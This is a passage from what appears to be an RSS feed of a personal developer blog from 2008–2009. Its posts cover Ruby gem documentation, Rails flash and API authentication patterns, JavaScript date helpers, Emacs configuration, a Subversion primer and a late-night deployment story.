<p><strong>Update:</strong> 2009-03-30 <a href="http://jasonseifer.com/2009/02/22/offline-gem-server-rdocs" rel="nofollow">Jason
Seifer</a>
of RailsEnvy does a better job of explaining the process than I do.</p>
<p><strong>Note:</strong> For the rest of this guide, I'm going to assume you have
ruby and gem installed via MacPorts.  If they aren't, change the
directories in the commands appropriately.</p>
<br>
<div class="markdown-heading"><h2 class="heading-element">Gems</h2><a id="user-content-gems" class="anchor" aria-label="Permalink: Gems" href="#gems"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>First of all, let's generate the documentation for all of your
gems. If you're more accustomed to the layout of Rails documentation,
then install <a href="/files/rdoc_template.rb">Jamis's rdoc template</a>.</p>
<pre><code># this step is optional
cd /opt/local/lib/ruby/1.8/rdoc/generators/template/html
sudo mv html html.original.rb
sudo curl -o html.rb http://www.whatcodecraves.com/posts/2009/02/28/rails_and_gems_documentation_anywhere/rdoc_template.rb
</code></pre>
<p>(The link to the original template was broken for me.)</p>
<p>Now actually generate the rdocs.</p>
<pre><code>sudo gem rdoc --all
</code></pre>
<p>After the command finishes, start a gem server so you can browse the
docs:</p>
<pre><code>gem server --daemon
</code></pre>
<p>Point your browser at <a href="http://localhost:8088" rel="nofollow">the gem server</a>.</p>
<div class="markdown-heading"><h2 class="heading-element">Rails</h2><a id="user-content-rails" class="anchor" aria-label="Permalink: Rails" href="#rails"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>You'll notice that no rdocs were generated for the Rails gem. This is
because the rdoc task is intended to be run from the root of a frozen
Rails app.  This is amazingly annoying, but is a <a href="http://www.nullislove.com/2007/05/29/rails-documentation/" rel="nofollow">solved
problem</a>.
Basically, you have to freeze Rails in your app, rdoc it, unfreeze it,
and copy over the rdocs.</p>
<pre><code>cd myapp
rake rails:freeze:gems
rake doc:rails
rake rails:unfreeze
sudo cp -R doc/api/ /opt/local/lib/ruby/gems/1.8/doc/rails-2.1.1/rdoc/
</code></pre>
<p>Now you can code from anywhere!  As an added bonus, the docs will load
blazingly fast.</p>
  ]]></description>
</item>

<item>
  <title>Another .irbrc Jewel</title>
  <link>https://jch.github.io/posts/2009-02-18-another-irbrc-jewel.html
</link>
  <guid>https://jch.github.io/posts/2009-02-18-another-irbrc-jewel.html
</guid>
  <pubDate>Wed, 18 Feb 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>A while back, I discovered the magical
<a href="http://giantrobots.thoughtbot.com/2008/12/23/script-console-tips" rel="nofollow">.irbrc</a>.
If you scroll down to the comments, Arthur and I left a tip on how to
view arbitrary script/console output in Textmate.  It's really amazing
for XML or big chunks of output.  Other useful irb links after the
fold.</p>
<p><a href="http://stephencelis.com/" rel="nofollow">Stephen Cells</a> mentioned the <a href="http://utilitybelt.rubyforge.org/" rel="nofollow">utilitybelt
ngem</a>. It might be overkill, but
I'll probably pick through for a few good bits.</p>
<p>I added another snippet to my .irbrc for copying stuff to the
clipboard on OS X.</p>
<pre><code>class Object
  def pbcopy(string)
    IO.popen('pbcopy', 'w') { |f| f.puts(string) }
    nil
  end
end
</code></pre>
  ]]></description>
</item>

<item>
  <title>Multiple Gmail Accounts on OSX Done Right</title>
  <link>https://jch.github.io/posts/2009-02-11-multiple-gmail-accounts-on-osx-done-right.html
</link>
  <guid>https://jch.github.io/posts/2009-02-11-multiple-gmail-accounts-on-osx-done-right.html
</guid>
  <pubDate>Wed, 11 Feb 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I learned this tip from Seggy and I've explained it to several people
already. If you've fallen in love with Gmail's web interface, then
you're going to love this solution.</p>
<p>One annoyance I have on my work laptop is switching between work email
and personal email. For the longest time, I suffered with using Apple
Mail for work stuff and Gmail's web interface for my personal mail.  I
hate Apple Mail, and I hate IMAP and all it's syncing headaches.
Gmail's web interface is the exact opposite. It's accessible
everywhere, stays in sync, and has the <em>best</em> search and organizing
features. My dilemna: How can I get my 2 email accounts to be into
desktop applications, but keep that same amazing web interface?</p>
<p>Enter <a href="http://fluidapp.com/" rel="nofollow">Fluid.app</a>. Put simply, it's an
application that creates OSX app's from web pages. The generated app
have menulets, so you can replace Google Notifiers. Fluid also lets
you skin web pages with Javascript and CSS if you're inclined.</p>
<p>After you install Fluid, make sure you download these <a href="http://chris.ivarson.name/goodies/" rel="nofollow">gorgeous Gmail
icons</a>.</p>
<p>When you fire up Fluid, fill in the following information:</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/fluid-setup.png"><img src="/images/fluid-setup.png" alt="fluid setup window" style="max-width: 100%;"></a></p>
<p>Choose one of the icons you just downloaded.  I use orange for
personal mail, and Coupa blue for work email. When you finish, launch
the apps, login to Gmail, and viola!</p>
<p>Here's what my dock looks like. Note how there's an indicator for the
number of unread messages in my mailbox. Sweet!</p>
<p><a target="_blank" rel="noopener noreferrer" href="/images/fluid-dock.png"><img src="/images/fluid-dock.png" alt="fluid gmail icons in my dock" style="max-width: 100%;"></a></p>
<p><em>Update</em>: Since I told people about my solution, I heard about two
interesting alternatives.  <a href="http://www.postbox-inc.com/" rel="nofollow">Postbox Inc</a>
is a free program, and <a href="http://mailplaneapp.com/" rel="nofollow">Mailplane App</a> costs
$24.95.  Both of them were amazing apps, but fell slightly short of my
expectations.  They both had very polished UI's, and were both quick
to download and get up and running.  Postbox was immediately out of
the running when I saw that it used POP/IMAP.  Mailplane was a much
more interesting candidate. It's great because it embeds the Gmail
interface in the main window, but gives you OS X menus and drag&amp;drop
functionality.  My favorite features were the screenshot taker and
drag and drop attachments.  It feels more like a native desktop app
than my Fluid solution.  Alas, I couldn't use it because of one minor
pitfall.  Mailplane allows you to have multiple accounts, but you have
to switch between them.  From the looks of it, you can only have one
'active' account at a time.  This prevents me from having my accounts
in separate windows, which is one of my requirements.  I think both of
these apps are probably better than Apple Mail, and they'd be great
apps if you don't mind IMAP, or if you only have a single account.</p>
  ]]></description>
</item>

<item>
  <title>Emacs Refactoring</title>
  <link>https://jch.github.io/posts/2009-02-06-emacs-refactoring.html
</link>
  <guid>https://jch.github.io/posts/2009-02-06-emacs-refactoring.html
</guid>
  <pubDate>Fri, 06 Feb 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>While I waited for Coupa customers to be upgraded, I decided to clean
up my .emacs config file.  My .emacs was never a pretty thing to
admire.  Without any restraint, I often added whatever cool code
snippet I came across online.  The file became verbose, redundant, and
a general mess. I set out to make it more modular and easier to
follow.</p>
<p>The first thing I wanted to fix was this really ugly section where I
manipulate the <code>load-path</code> and load my plugins. I created a
convention to install each plugin in it's own folder, and to have a
install hook for each plugin. For example, the ruby plugin looks like:</p>
<pre><code>~/.emacs.d/plugins
  ruby
    ruby.el
    load-ruby.el
</code></pre>
<p>Previously, I added the following 2 lines for every plugin.</p>
<pre><code>(add-to-list 'load-path "~/.emacs.d/plugins/ruby")
(load "load-ruby.el")
</code></pre>
<p>But thanks to the
<a href="http://www.emacswiki.org/emacs/LoadPath" rel="nofollow">EmacsWiki</a>, I learned about
<code>normal-top-level-add-to-load-path</code>. In the finished
version, I put the plugin names in a list and iterate over them:</p>
<pre><code>;;; ### Plugin Initialization ###
(setq plugins-to-load
  '("harvey-navigation" "javascript" "dsvn" "ruby" "ido"))

;; add to "~/.emacs.d/plugins/__plugins-to-load__ to load-path
(let* ((my-lisp-dir "~/.emacs.d/plugins")
       (default-directory my-lisp-dir))
  (setq load-path (cons my-lisp-dir load-path))
  (normal-top-level-add-to-load-path plugins-to-load))

;; run the init file for the plugin
(mapcar (lambda (plugin-name)
          (load (concat "load-" plugin-name ".el")))
        plugins-to-load)
</code></pre>
<p>In the process of changing how plugins are loaded, I removed several
plugins that I never used. This lowered my emacs load time by a large
perceptible amount.</p>
<p>My .emacs isn't something I work with very often, but I derived a fair
amount of satisfaction that the next time I need to tweak something,
I'll know it won't suck.</p>
<p>You can find the finished config <a href="http://github.com/jch/jch-dotfiles/tree/master/emacs">here</a>.</p>
  ]]></description>
</item>

<item>
  <title>Rails-like Javascript Date Helpers</title>
  <link>https://jch.github.io/posts/2009-01-11-rails-like-javascript-date-helpers.html
</link>
  <guid>https://jch.github.io/posts/2009-01-11-rails-like-javascript-date-helpers.html
</guid>
  <pubDate>Sun, 11 Jan 2009 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I'm a fan of
<a href="http://api.rubyonrails.org/classes/ActiveSupport/CoreExtensions/Time/Calculations.html" rel="nofollow">ActiveSupport::CoreExtensions::Time::Calculations</a>.
It gives you easy to use methods like <code>beginning_of_day</code>,
<code>end_of_day</code>, <code>beginning_of_week</code>,
<code>end_of_day</code>, etc.  These methods make date handling code
more concise and more readable.  I wanted the same benefits in
Javascript, so I've ported over a subset of these methods and mixed
them into Javascript's <code>Date</code> object.  Read on for the
code.</p>
<p>Here are a few examples of what you can do with these date extensions:</p>
<pre><code>// Mon Jan 12 2009 13:30:00 GMT-0800 (PST)
var monday = new Date(2009, 0, 12, 13, 30, 0);

// Wed Jan 14 2009 13:30:00 GMT-0800 (PST)
var wednesday = new Date(2009, 0, 14, 13, 30, 0);

// Fri Jan 16 2009 13:30:00 GMT-0800 (PST)
var friday = new Date(2009, 0, 16, 13, 30, 0);

wednesday.between(monday, friday);  // true

wednesday.beginningOfDay(); // Wed Jan 14 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfDay(); // Wed Jan 14 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfWeek(); // Sun Jan 11 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfWeek(); // Sat Jan 17 2009 23:59:59 GMT-0800 (PST)

wednesday.beginningOfMont(); // Thu Jan 01 2009 00:00:00 GMT-0800 (PST)
wednesday.endOfMonth(); // Sat Jan 31 2009 23:59:59 GMT-0800 (PST)
</code></pre>
<p>Here's the code:</p>
<pre><code>Date.prototype.between = function(start, end) {
  return (start &lt;= this) &amp;&amp; (end &gt;= this);
};

Date.prototype.beginningOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(0);
  newDate.setMinutes(0);
  newDate.setSeconds(0);
  return newDate;
};

Date.prototype.endOfDay = function() {
  var newDate = new Date(this);
  newDate.setHours(23);
  newDate.setMinutes(59);
  newDate.setSeconds(59);
  return newDate;
};

Date.prototype.beginningOfWeek = function() {
  var newDate = new Date(this);
  var offsetToBeginning = newDate.getDay();
  newDate.setDate(newDate.getDate() - offsetToBeginning);
  return newDate.beginningOfDay();
};

Date.prototype.endOfWeek = function() {
  var newDate = new Date(this);
  // Saturday = 6
  var offsetToEnd = (6 - newDate.getDay());
  newDate.setDate(newDate.getDate() + offsetToEnd);
  return newDate.endOfDay();
};

// 0 = january, 1 = feb, ...
// does not account for leap years
Date.DAYS_OF_MONTH_MAP = [
  31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31
];

Date.prototype.daysInMonth = function() {
  return Date.DAYS_OF_MONTH_MAP[this.getMonth()];
}

Date.prototype.beginningOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(1);
  return newDate.beginningOfDay();
};

Date.prototype.endOfMonth = function() {
  var newDate = new Date(this);
  newDate.setDate(newDate.daysInMonth());
  return newDate.endOfDay();
};
</code></pre>
<p>I did not need every method that ActiveSupport provided, so I stuck
with implementing only the ones I needed.  It's pretty straightforward
to write the rest of the methods if they're needed.</p>
  ]]></description>
</item>

<item>
  <title>Rails Flash with Ajax</title>
  <link>https://jch.github.io/posts/2008-12-13-rails-flash-with-ajax.html
</link>
  <guid>https://jch.github.io/posts/2008-12-13-rails-flash-with-ajax.html
</guid>
  <pubDate>Sat, 13 Dec 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>One small annoyance about working with the
<a href="http://api.rubyonrails.org/classes/ActionController/Flash.html" rel="nofollow">flash</a>
in Rails is that it only works well if you render separate pages per
action.  The flash falls apart if you do an Ajax call and render an
RJS template or some inline javascript.  The flash won't show up when
it should, and it'll show up on some other page when you don't want it
to.  I made 2 small changes to my app to make flash behave better when
an Ajax call is made.</p>
<p>The first trick is something I learned at work.  First, we need to
extract the rendering of the flash into a partial in
'app/views/layouts/_flash.html.erb'.  This will allow us to render the
flash in a normal template, but also allow us to replace the flash in
an inline render.  In my main template, I do a normal:</p>
<pre><code>&lt;div id="flash_messages"&gt;
&lt;%= render :partial =&gt; 'layouts/flash' %&gt;
&lt;/div&gt;
</code></pre>
<p>To refresh the flash when an Ajax request happens, I add a
'reload_flash' method to ApplicationHelper:</p>
<pre><code>def reload_flash
  page.replace "flash_messages", :partial =&gt; 'layouts/flash'
end
</code></pre>
<p>Then from my RJS templates or from a <code>render :update</code>
block, I can call the reload_flash to refresh the flash inline:</p>
<pre><code># within a controller action
render :update do |page|
  flash[:notice] = "Entering 'beast mode'..."
  page.reload_flash
end
</code></pre>
<p>This all seems fine and dandy until you visit another page.
Unfortunately, the flash is not cleared because you haven't visited
another action, so you end up with the flash message redundantly
displaying a 2nd time.  To fix this, I added an
<code>after_filter</code> to <code>ApplicationController</code> to
clear the flash after an action if it was an Ajax request:</p>
<pre><code>class ApplicationController &lt; ActionController::Base
  after_filter :discard_flash_if_xhr

  protected
  def discard_flash_if_xhr
    flash.discard if request.xhr?
  end
end
</code></pre>
<p>Easy isn't it?  The catch here is to remember to call
<code>reload_flash</code> whenever you're doing an inline render.</p>
<p>Another useful tip plugin for working with the flash is the
<a href="http://www.robbyonrails.com/articles/2008/08/29/flash-message-conductor" rel="nofollow">flash-message-conductor</a>
plugin.  I use it to controll the logic of when to show the flash, and
also control some animations for hiding and showing the flash.  It's a
nice simple plugin.</p>
  ]]></description>
</item>

<item>
  <title>OS X GUI Tool 'HTTP Client'</title>
  <link>https://jch.github.io/posts/2008-12-08-osx-gui-tool-httpclient.html
</link>
  <guid>https://jch.github.io/posts/2008-12-08-osx-gui-tool-httpclient.html
</guid>
  <pubDate>Mon, 08 Dec 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Kyle sent out this <a href="http://ditchnet.org/httpclient/" rel="nofollow">amazing tool</a> for
testing and debugging at the HTTP level.  This would've been a
lifesaver a few weeks ago when I was working on RESTful API stuff for
work, but better late than never.</p>
<p>



</p>
<p>The idea of the app is amazingly simple.  It lets you specify the type
of http request you want to make, the header options, and the body.
The beauty of doing it in a GUI instead of from the command line with
curl is that there are dropdowns for the hard to remember header
options, and that you can paste fat hunks of XML into the body field.
It's also awesome because you can open multiple windows and have each
of those be a re-runnable http client.</p>
<p>HTTP Client is 99% perfect app for my uses.  The single feature that
would push it to being a perfect app would be a cookie-jar so that
sessions can be saved.</p>
  ]]></description>
</item>

<item>
  <title>How to Make an API for a Rails App</title>
  <link>https://jch.github.io/posts/2008-11-25-how-to-make-an-api-for-a-rails-app.html
</link>
  <guid>https://jch.github.io/posts/2008-11-25-how-to-make-an-api-for-a-rails-app.html
</guid>
  <pubDate>Tue, 25 Nov 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I've come across the same problem in my personal projects and also at
work.  You have an existing Rails app that has some authentication and
authorization scheme to protect who has access to your controllers,
but now you need to write an API that can access those controllers.
How do you keep the same authentication routine for your API users?</p>
<p>The are two approaches I've seen used.  One is based on using HTTP
AuthBasic, and the other is to generate a unique API key for API
users.</p>
<div class="markdown-heading"><h2 class="heading-element">Option 1: HTTP Basic Auth</h2><a id="user-content-option-1-http-basic-auth" class="anchor" aria-label="Permalink: Option 1: HTTP Basic Auth" href="#option-1-http-basic-auth"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I learned this snippet from working with <a href="http://overhrd.com/" rel="nofollow">Mike</a>.
Rails 2.x support <a href="http://railscasts.com/episodes/82" rel="nofollow">HTTP Basic Auth</a>
out of the box.  For our app, we check the request format and only do
basic auth if the format is xml.</p>
<pre><code>class ApplicationController &lt; ActionController::Base
  protected
  def http_basic_authentication
    if request.format == Mime::XML
      authenticate_or_request_with_http_basic do |username, password|
        username == 'foo' &amp;&amp; password == 'bar'
      end
    end
  end
end
</code></pre>
<p>Then for controllers that allow API access, we simply add a before
filter.</p>
<pre><code>class OrangesController &lt; ActionController::Base
  before_filter :http_basic_authentication, :only =&gt; :create

  def create
    # do stuff
  end
end
</code></pre>
<p>Then to create an Orange via the API, we could do:</p>
<pre><code># we expect an XML response, so we suffix url with 'xml'
# optionally, we can also add 'foo:bar@' before the domain name.
url = URI.parse("http://example.com/oranges.xml")

req = Net::HTTP::Post.new(url.path)
req.basic_auth 'foo', 'bar'

req.set_form_data({'size' =&gt; 'large', 'juicy' =&gt; '1'})
http = Net::HTTP.new(url.host, url.port)
response = http.start {|http| http.request(req) }
</code></pre>
<p>(Note: Beware of ssl, remember to set <code>http.use_ssl =
true</code>)</p>
<div class="markdown-heading"><h2 class="heading-element">Options 2: Using API key</h2><a id="user-content-options-2-using-api-key" class="anchor" aria-label="Permalink: Options 2: Using API key" href="#options-2-using-api-key"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I didn't know about HTTP Basic Auth when I was writing my <a href="http://money.whatcodecraves.com/" rel="nofollow">Money
app</a>, so I took a little time to
fully understand how Rail's
<a href="http://api.rubyonrails.org/classes/ActionController/Filters/ClassMethods.html" rel="nofollow">ActionController::Filters</a>
work.  The documentation is clear and the source is straightforward to
understand.</p>
<p>For API authentication, I decided to write my own custom filter
object and put it in lib/api_authorized_filter.rb</p>
<pre><code># Use this filter as an around_filter around actions that can be
# accessed via the API.
#
# Example:
#   class ItemsController &lt; ApplicationController
#     prepend_around_filter ApiAuthorizedFilter.new, :only =&gt; [:create]
#   end
#
class ApiAuthorizedFilter
  def before(controller)
    return true unless controller.params[:api_key]
    controller.current_user = User.find_by_api_key(controller.params[:api_key]))
  end

  def after(controller)
    controller.current_user = nil
  end
end
</code></pre>
<p>ApiAuthorizedFilter is put at the very beginning of the filter chain
with <code>prepend_around_filter</code>, before any normal
authentication <code>before_filters</code>.  When it's called, the
<code>before</code> method is invoked with the current controller, and
the filter 'logins' an API User if the api_key is valid.  When my
normal authentication filters run, they won't halt because it'll seem
like there is a logged in user.  Finally, when the action is finished
running, the <code>after</code> method will log out the API User to
prevent a User from staying logged in.  This last step is optional,
but I think it's better to only let API Users authenticate every time
they need something.</p>
<p>In order to use this Filter, you'll have to add an 'api_key' column to
your User model, and also tweak the <code>before</code> and
<code>after</code> code to login and logout the user.</p>
<div class="markdown-heading"><h2 class="heading-element">Which one should I use?</h2><a id="user-content-which-one-should-i-use" class="anchor" aria-label="Permalink: Which one should I use?" href="#which-one-should-i-use"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>I personally like the latter because the api key gives me another way
to reference a logged in user.  Since the api key is independent of a
user's login and password, it's also easier to replace the key without
resetting the user's web credentials.  Of course, you can make both
methods work the same way, so it's really a matter of personal taste.</p>
  ]]></description>
</item>

<item>
  <title>Deploying into the Night</title>
  <link>https://jch.github.io/posts/2008-11-08-deploying-into-the-night.html
</link>
  <guid>https://jch.github.io/posts/2008-11-08-deploying-into-the-night.html
</guid>
  <pubDate>Sat, 08 Nov 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>Yesterday was an emotional roller coaster of brutality and
awesomeness, mixed with a good share of productivity.  The day started
off innoculously enough.  I checked my incoming tickets, went through
my email for tasks to do on my projects, scrummed with the team, and
enjoyed a delicious steak lunch on the house...</p>
<p>Waah?  Steak lunch at
<a href="http://www.yelp.com/biz/porterhouse-san-mateo#hrid:cepR76qS-iHdExL6VGTOeg" rel="nofollow">Porterhouse</a>?
Thanks to our awesome admin, Jules, Kyle, Lee, and myself got to relax
and chat over some juicy meat and a cold beer.  I had an especially
good time talking to Lee since I haven't made a big effort to talk to
coworkers outside the dev team.  It made me appreciate what it takes
to run a company efficiently, and also what kinds of features other
internal users care about.  Kyle's sexy and all, but I get to see and
talk to him everyday :).</p>
<p>Lunch was fantastic, but as I drew closer and closer to dinner time,
the situation looked worse and worse.  The planned upgrade time for
our 105 customer environments was scheduled to occur at 6:00pm.  I
felt like I had a good grasp of the bugs I was working on, so I
thought I'd lend a hand to the Operations team by making one of my
slow migrations run faster so they could go home earlier.  In doing
so, I realized that my migration wasn't comprehensive enough to cover
all the bad cases.  I was super thankful that this bug was caught with
only 15 minutes left before the scheduled downtime.</p>
<p>Of course, when I found this bug, I felt uneasy deploying the changes
without some heavy duty QA.  I thought I would stick around just to
make sure the migrations wouldn't croak.  I thought to myself, how
long could this possibly take?</p>
<p>We started the process off by disabling customers from accessing the
application and putting a placeholder HTML page.  Seggy quickly
cancel'ed this action because his phone started getting notifications
from <a href="http://pingdom.com/" rel="nofollow">Pingdom</a> because the site uptime checkers
hadn't been paused.  Next the migrations were run for all the
instances and they seemed to work ok.  I breathed a sigh of relief,
and told Wendy that I'd be heading home at any moment...</p>
<p>An hour or so later, we were finally able to check off the
verification tasks in Google Docs for some custom PDF template
changes.  These were super annoying to deal with and didn't work right
away because we had bad merge data between trunk and stable.  But we
did finish, I breathed a fresh sigh, and I apologized to Wendy and
reassured her again that I'd be leaving soon...</p>
<p>Another hour or so later, we solved custom LDAP mixin code for the
single customer who used LDAP.  Because we refactored out most of our
config to use
<a href="http://github.com/lukeredpath/simpleconfig/tree/master">Simpleconfig</a>,
we were having issues deciding where to put the custom LDAP code.
This lead to a wild goose chase because the load order of when the
custom code was mixed in determined if it worked or not.  Worse yet,
we found <em>another</em> code error where the LDAP authentication code
wasn't run at all.  This took some diff-ing and merging to fix up.</p>
<p>I finally left the office 5 minutes to 11pm.  My heart was pumping
like mad from fixing those problems, my stomach was growling like
crazy, and my brain was turning off at an exponential rate.  It was
quite a rush to help out with the deployment.  The key lesson I took
away from that was how big a maintenance nightmare customer-specific
features are.  I understand why they were done, but if they weren't
there, none of the problems would've shown up and we would've finished
hours ago.</p>
<p>I had already thought Lee and Seggy were amazing coworkers, but now I
have a new level of respect for them.  I'm also super sorry to Wendy
and Serena for putting up with us taking so long.  I felt especially
guilty that the custom PDF templates wasn't a smooth transition
because I wrote the fixes for it.</p>
  ]]></description>
</item>

<item>
  <title>Subversion for the Lazy</title>
  <link>https://jch.github.io/posts/2008-11-07-subversion-for-the-lazy.html
</link>
  <guid>https://jch.github.io/posts/2008-11-07-subversion-for-the-lazy.html
</guid>
  <pubDate>Fri, 07 Nov 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>I've been asked about subversion enough times to justify writing this
quick and dirty article to save me future time.  Read this guide if
you absolutely need to get subversion working ASAP.  Otherwise I
highly recommend going through the <a href="http://svnbook.red-bean.com/" rel="nofollow">svn
book</a> for more background information
and advanced usage.</p>
<div class="markdown-heading"><h2 class="heading-element">Bare Minimum Background</h2><a id="user-content-bare-minimum-background" class="anchor" aria-label="Permalink: Bare Minimum Background" href="#bare-minimum-background"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>You will NOT be able to do anything right in subversion unless you
understand WHY it exists.  Subversion might be a pain in the ass, but
that wasn't why it was created.  Subversion is <a href="http://en.wikipedia.org/wiki/Revision_control" rel="nofollow">version control
software</a> that is
supposed to help programmers organize their code.  If you use it
correctly, it'll fix all of the following problems:</p>
<ul>
<li>taking notes about the changes you were working on.</li>
<li>going backwards in time to an older non-broken copy of a file.</li>
<li>merging changes from multiple programmers on the same file.</li>
</ul>
<p>This all starts with a subversion <span>repository</span>.  Think of the repo as
the original copy of your files.  Instead of making changes on the
original copy, you <span>checkout</span> a <span>working copy</span> and make changes to that.  When
you're satisfied with the changes you made in your working copy, you
<em>commit</em> the changes back to the repository.  Here is the absolute
simplest case of using svn:</p>
&lt;style type='text/css'&gt;
  .command { color: #63831F }
  .repository-address { color: #FD6A08 }
  .arg1 { color: #6F86C0 }

  .subversion-command { margin-left: 20px; }
&lt;/style&gt;
<div class="markdown-heading"><h3 class="heading-element">Checkout a Working Copy</h3><a id="user-content-checkout-a-working-copy" class="anchor" aria-label="Permalink: Checkout a Working Copy" href="#checkout-a-working-copy"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<pre><code>svn checkout svn+ssh://address.to.subversion/repository myworkingcopy
</code></pre>
<p>The <span>'checkout'</span> command makes a copy of
the <span>repository</span> and puts it
into a folder named <span>myworkingcopy</span>.</p>
<div class="markdown-heading"><h3 class="heading-element">Make Your Changes</h3><a id="user-content-make-your-changes" class="anchor" aria-label="Permalink: Make Your Changes" href="#make-your-changes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Edit any of the files in your working copy.  These changes will only
be in your working copy until you commit them back to the <span>repository</span>.  This means that if you
make changes, and <em>another</em> person does a fresh checkout, they will
<em>not</em> see your changes.  If you decide to create any new files in the
working copy, you need to let svn know with the 'svn add' command.</p>
<pre><code>svn add new_file1.txt new_file2.java new_file3.avi
</code></pre>
<p>You can add any number of arbitrary new files.</p>
<div class="markdown-heading"><h3 class="heading-element">Commit Your Changes</h3><a id="user-content-commit-your-changes" class="anchor" aria-label="Permalink: Commit Your Changes" href="#commit-your-changes"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>Before you commit, you want to double check the changes you made.
First type:</p>
<pre><code>svn status
</code></pre>
<p>This lets you know what's being committed.  'M' means modified, 'A'
means added, and '?' means it's a new file that hasn't been added.
Read the last section for adding.</p>
<p>When you're happy with the files to be committed, type</p>
<pre><code>svn commit
</code></pre>
<p>This will bring up your editor to type a note about what the changes
in this commit are.  If it says that no editor is set, google how to
set EDITOR in bash.  After the commit succeeds, anyone else who does a
fresh checkout or an 'svn update' will get the changes you just
committed.</p>
<div class="markdown-heading"><h3 class="heading-element">Pulling Changes from the Repository</h3><a id="user-content-pulling-changes-from-the-repository" class="anchor" aria-label="Permalink: Pulling Changes from the Repository" href="#pulling-changes-from-the-repository"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If multiple programmers are using the same <span>repository</span>, then at some point
you'll have to pull changes from other programmers.  Instead of doing
a fresh checkout every time, simply run</p>
<pre><code>svn update
</code></pre>
<p>to bring in all the changes from the remote repository.  It's a good
idea to get in the habit of updating before you make your changes
because otherwise you'll have to do unnecessary merging.  Read about
merging in the svn redbook.</p>
<div class="markdown-heading"><h3 class="heading-element">Cheatsheet</h3><a id="user-content-cheatsheet" class="anchor" aria-label="Permalink: Cheatsheet" href="#cheatsheet"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>To summarize:</p>
<pre><code>svn checkout http://svn.somehost.com/path/to/repository my_own_copy
cd my_own_copy
(edit the files in my_own_copy)
svn add my_own_copy/new_file1.txt
svn status
svn commit
</code></pre>
<div class="markdown-heading"><h3 class="heading-element">Common Issues</h3><a id="user-content-common-issues" class="anchor" aria-label="Permalink: Common Issues" href="#common-issues"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>If svn ever says, '.' is not a working directory, then it means you
are not currently in a <span>working copy</span>.  The
working copy is what you named the folder when you originally checked
it out.  See section about 'checking out'.</p>
<p><em>Never</em> mix and match folders from different working copies.  If you
want to use mv, or cp, or copies files in and out of the working
folder, read about 'svn copy' and 'svn move'.</p>
<p>If you try to add a folder, and it says it's already been added, then
you probably meant to add the files within the folder.  Simply do a
'svn add -R folder_name' to do a recursive add of all files in the
folder.</p>
<p>All subversion commands start with 'svn'.  To get a list of all
commands, type 'svn help'.  To get help on a command foo, do 'svn help
foo'.</p>
<p>If you're on a Mac and you suck at Terminal, then go get
<a href="http://www.apple.com/downloads/macosx/development_tools/svnx.html" rel="nofollow">svnX</a>.
If you're on windows, get <a href="http://tortoisesvn.tigris.org" rel="nofollow">Tortoise
SVN</a>.</p>
<div class="markdown-heading"><h3 class="heading-element">Final Hints</h3><a id="user-content-final-hints" class="anchor" aria-label="Permalink: Final Hints" href="#final-hints"><span aria-hidden="true" class="octicon octicon-link"></span></a></div>
<p>This guide is for lazy people who won't spend 20 minutes to read and
understand the subversion guide.  I guarantee you'll save hours and
hours of headache if you just take the time to learn it properly.
This is the bare minimum to get started, and if you still have
questions after this, go and read the <a href="http://svnbook.red-bean.com/" rel="nofollow">svn red
book</a>.  Learn about merging, learn about
diff's, and learn how version control works.  You'll not only help
yourself in the long run, but you'll save the people you work with
lots of time too.</p>
  ]]></description>
</item>

<item>
  <title>Dump Test Data from Production to Development with yaml_db</title>
  <link>https://jch.github.io/posts/2008-11-07-dump-test-data-from-production-to-development-with-yaml-db.html
</link>
  <guid>https://jch.github.io/posts/2008-11-07-dump-test-data-from-production-to-development-with-yaml-db.html
</guid>
  <pubDate>Fri, 07 Nov 2008 00:00:00 -0800</pubDate>
  <description><![CDATA[
<p>For <a href="http://money.whatcodecraves.com/" rel="nofollow">Money app</a>, I ran into a
problem with the charts drawing ugly x-axis when the datapoints were
too close together.  I didn't want to reproduce the problem locally
because it would involve a lot of data entry.  So I set out to look
for some sensible solutions.</p>
<p>The first thing I did was look through Rail's default database Rake
tasks.  The most promising of these was 'db:schema:dump', but
unfortunately, this only dumped the database schema structure without
dumping the actual rows.  Then I remembered hearing <a href="http://adam.blog.heroku.com/" rel="nofollow">Adam
Wiggins</a> talk about
<a href="http://heroku.com/" rel="nofollow">Heroku</a> a few weeks back.  I remember being
impressed by his product pitch.  But more importantly, I remember
Heroku had this feature of uploading your existing data to be imported
into their database.  So I looked through Wiggin's github repo, and
sure enough,
<a href="http://github.com/adamwiggins/yaml_db/tree/master">yaml_db</a> was
there.</p>
<p>The README is pretty self-explanatory, and it worked as advertised.  I
remember Wiggins mentioning that Heroku had problems with loading yaml
files on the order of gigabytes, but this isn't really won't be an
issue for me for a while.</p>
<p>I know that at Coupa, we have our own in-house solution for cloning
production instances for testing purposes.  There is a Capistrano
task for it, and it has extra logic to reset all passwords and
overwrite user emails with generated ones.  I'll look into that when I
have a need for it.</p>
  ]]></description>
</item>

<item>
  <title>Building Webapp Menus</title>
